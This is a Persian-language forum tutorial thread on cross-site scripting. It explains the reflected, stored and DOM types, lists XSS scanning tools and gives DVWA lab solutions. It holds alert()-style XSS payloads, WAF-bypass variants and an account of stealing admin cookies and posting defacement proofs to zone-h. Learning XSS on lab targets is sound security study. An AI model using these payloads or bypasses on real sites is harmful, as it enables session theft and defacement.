آموزش جامع باگ xss

[Balcon]

سلام و درود.

خواستم چیزایی که در مورد باگ Xss  رو بلدم یاد بدم 😐 چون بعضی از تازه کارا زیاد راجب این باگ نمیدونن و میان به یه input  همش جاوا اسکریپت تزریق میکنن میبینن نتیجه نمیده

اگه اطلاعاتم غلط بود حتما بگین لطفا و هرکی چیزی بلده راجب این باگ کمک کنه این پست رو عالی کنیم به کمک هم 😐

خب تا یکم بعد ادامه پست رو میزارم.

[Balcon]

قدم اول :

باگ xss چیست؟

XSS مخفف Cross Site Scripting هست اما بدلیل اشتباه نگرفته شدن با CSS اون را XSS میخوانند.

خب این باگ توی بیشتر سایت ها هست حتی چند وقت پیش تلگرام هم داشت nsa  هم داره و کلی سایت دیگه

تو این حمله هکر میاد کد جاوا اسکریپت رو به قسمت آسیب پذیر سایت تزریق میکنه

مثل فرم لاگین و ریجستر و جستجو اگه باگ داشته باشن.

بعد که ادمین رفته تو حسابش و کوکی های مخصوص به خودشو ذخیره کرده میاد مثلا به قسمت جستجو هکر با اون کد جاوا اسکریپت کوکی هاشو می دزده

This is the hidden content, please

• ورود
• یا
• ثبت نام

البته بیشتر هکرا حوصله دزدیدن کوکی ندارن و همینطوری میان تو zone-h  یا miror-h لینک اثباتشو ثبت میکنن

یه نکته هم بگم هرجا xss بود htmli  هم هست

xss چند تا مدل مختلف داره مثل:

Reflected XSS

در این حملات، پیلودهای XSS در درخواست HTTP قرار گرفته (لینک سایت) و به اپلیکیشن آسیب‌پذیر ارسال می‌شوند. اپلیکیشن از پیلود استفاده کرده و بلافاصله آن را به کاربر بازتاب می‌دهد. بنابراین تست این دسته از XSS آسان است. 

برا مثال :

<example.com/search.php?event="><script>alert(11111)</script

تو مثالی که گفتم من داخل یه سایت در قسمت جستجو سایت سورس سایت رو دیدم که یه فیلدش به نام event آسیب پذیر بود پس میام داخلش یه آلرت با جاوا اسکریپت میزارم

Persistent XSS

باگ‌های Persistent XSS به دلیل ذخیره شدن پیلود در اپلیکیشن ایجاد می‌شوند. مهاجم با یک درخواست HTTP مثلا در یک پست فروم(یا صفحه پیام‌ها یا تنظیمات اکانت)، پیلود خود را تزریق می‌کند. اپلیکیشن این ورودی را پذیرفته و آن را ذخیره می‌کند. سپس، با مراجعه یک قربانی به صفحه حاوی پیلود، اپلیکیشن اسکریپت مخرب را به عنوان بخشی از صفحه به مرورگر کاربر برمی‌گرداند. این نوع از حملات بازه وسیع‌تری از افراد را قربانی خود می‌کند

معمولا استاتیکه

اینم مثل بالاییه 😐

DOM BASED CROSS SITE SCRIPTING یا xss dom

 نوعی از حمله ی XSS است که داده ها و دستورهای مخرب با هدف تغییر و دستکاری «محیط» یا همان «environment «مربوط به DOM در مرورگر قربانی اجرا می شود. این کار به وسیله ی اسکریپت سمت کلینت و اجرای کدها و داده های غیرمنتظره صورت می پذیرد. در این روش، صفحه ی درخواست شده و پاسخ (response (در HTTP هیچ تغییری نمی کند؛ اما کد سمت کلینت در صفحه ی درخواست شده، به گونه ای مختلف اجرا می شود و این تفاوت به خاطر دستکاری نامطلوبی است که در محیط DOM رخ داده است.

مثال:

This is the hidden content, please

• ورود
• یا
• ثبت نام

اینم مثل مثاله قبلی شد

قسمت دوم رو هم الان میزارم راجب ابزار هایی که باگ رو خودکار پیدا میکنن و....

 

[Balcon]

به نام خدا

سلام لیستی از ابزار هایی برای کشف باگ xss که البته آدم دستی کار کنه خیلی بهتره

ابزار XSSer یک فریمورک اتوماتیک تحت ترمینال و گرافیکی برای کالیه 😐

برای اجرا توی ترمینال بزن:

xsser –gtk

سایتش:

This is the hidden content, please

• ورود
• یا
• ثبت نام

ابزار XSpear

مال سال 2019 هستش با روبی نوشتن 😐

This is the hidden content, please

• ورود
• یا
• ثبت نام

 

 

 

 

 

 

 

 

 

 

 

 

 

 

گیتهابش:

This is the hidden content, please

• ورود
• یا
• ثبت نام

 

XSStrike

این یکی خوب و قویه 😐

This is the hidden content, please

• ورود
• یا
• ثبت نام

با پایتون 2 نوشتنش

اینم گیتهابش:

This is the hidden content, please

• ورود
• یا
• ثبت نام

 

PwnXSS

با پایتون 3 نوشتن 

گیتهابش:

This is the hidden content, please

• ورود
• یا
• ثبت نام

شاید تا یکم بعد روش های بایپس واف رو هم بزارم

[Balcon]

سلامی دوباره

با روش های بایپس فایروال و واف میخواهم آشناتون کنم

بعضی موقع ها بعد تزریق کد جاوا اسکریپت واف یا هر فایروالی جلو اجرای کد مارو میگیره و احتمالا این صفحه بیاد 😐

This is the hidden content, please

• ورود
• یا
• ثبت نام

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

خب الان واف جلوی مارو گرفت

ما باید فایروال رو بایپس کنیم که خیلی روش داره

چند تاشو بگم.

<script>alert(1);</script>

<script>alert('XSS');</script>

<marquee><script>alert('XSS')</script></marquee>

</title><script>alert(/xss/)</script>

<scrscriptipt>alert(1)</scrscriptipt>

میتونید این تایپیکو بخونید

 

بهترین راه اینه کد جاوا اسکریپتتون رو به معادل HTML Entities تبدیل کنید

 

تو html قانونی وجود دارد که اگر بخواهید یه کاراکتر خاص را نمایش بدید باید از فرمول زیر استفاده کنید.

#&ASCII_number;

البته کد بالا برعکس افتاد 😐

دفعه بعد راجب دزدیدن کوکی احتمالا بگم

البته بگم بعضی از حرفام رو از بعضی سایت ها برداشته بودم :(( خودشون حلال کنن

[Balcon]

سلامی دوباره 

میخوام این دفعه روی dvwa  کار کنیم و حل مراحلشو برا (xss) براتون بزارم.

xss (reflected)

security low

<Script>alert('666')</script>

security medium

<Script>alert('666')</script>

security is high

<body onload=alert('07')>

با اون روشیکه گفتم فک کنم بشه impossible رو هم رفت طولانی میشد نزاشتم 😐

 

[Balcon]

خب الان دوباره dvwa میزارم

xss Dom

security is low

?default=<script>alert(/xss/)</script>

security is medium

?default=English</option></select><img src=1 onerror=alert('WUQING')>

security is high

?default=English#<script>alert(/xss/)</script>

 

[Balcon]

الان میرم سراغ

xss stored

این یکی رو نمیدونم 😐 ولی میدونم که باید تو بخش نام کد جاوا اسکریپتتو تزریق کنی که محدودیت میاره برای تعداد کاراکترا بعد باید f12 بزنی تعداد محدودیت کاراکترا رو بیاری پایین بعد کدتو با بایپس میفرستی

 

[Balcon]

در هم اکنون، Balcon گفته است :

الان میرم سراغ

xss stored

این یکی رو نمیدونم 😐 ولی میدونم که باید تو بخش نام کد جاوا اسکریپتتو تزریق کنی که محدودیت میاره برای تعداد کاراکترا بعد باید f12 بزنی تعداد محدودیت کاراکترا رو بیاری پایین بعد کدتو با بایپس میفرستی

 

اشتباه شد منظورم اینه تعداد کاراکتر های مجاز رو میبری بالا

[Balcon]

بازم برا اینکه معیار کار دستتون بیاد

برا low و medium 

میتونیم

تو قسمت نام هرچی دلمون خواست بنویسم

تو قسمت پیام که محدودیت نداره

<Script>alert('666')</script>

بنویسیم و بفرستیم 

high و impossible باید محدودیت تعداد کاراکتر رو با روشی که گفتم بایپس کنید